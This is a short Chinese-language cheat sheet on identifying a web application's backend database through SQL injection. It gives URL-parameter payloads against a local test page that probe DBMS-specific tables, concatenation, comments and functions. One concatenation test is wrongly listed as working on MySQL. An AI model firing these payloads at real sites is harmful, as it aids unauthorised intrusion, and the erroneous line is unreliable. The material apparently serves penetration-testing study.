SQL注入判断数据库类型
页面返回的报错信息判断
默认端口判断
- Oracle
port:1521 - SQL Server
port:1433 - MySQL
port:3306
数据库特有的数据表判断
oracle数据库
http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1
mysql数据库(mysql版本在5.0以上)
http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1
access数据库
http://127.0.0.1/test.php?id=1 and (select count(*) from msysobjects)>0 and 1=1
mssql数据库
http://127.0.0.1/test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1
数据库特有的连接符判断
mysql数据库
http://127.0.0.1/test.php?id=1 and '1' + '1' = '11'
http://127.0.0.1/test.php?id=1 and CONCAT('1','1')='11'
mssql数据库
http://127.0.0.1/test.php?id=1 and '1' + '1' = '11'
oracle数据库
http://127.0.0.1/test.php?id=1 and '1'||'1'='11'
http://127.0.0.1/test.php?id=1 and CONCAT('1','1')='11'
符号判断
- mysql数据库:(1)以" /* "开始,以" */ "结束。(2)或者" # "。
- Oracle: 支持单行注释" -- "和多行注释" /* */ "
- " ; "是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库
特定函数判断
length() lengthb() char_length()
- Oracle: length():表示字符串长度 lengthb():表示字符串的字节长度
- mysql:length():返回字符串所占的字节数 char_length():返回字符串的字符数
@@version version()
mysql: @@version或是version()来返回当前的版本信息。
但无法判断是mysql还是mssql时,可以用version()函数来构造判断。
version()>1 返回与@@version>1 相同页面时,则可能是mysql。如果出现提示version()错误时,则可能是mssql。
substring substr
在mssql中可以调用substring(), oracle则只可调用substr()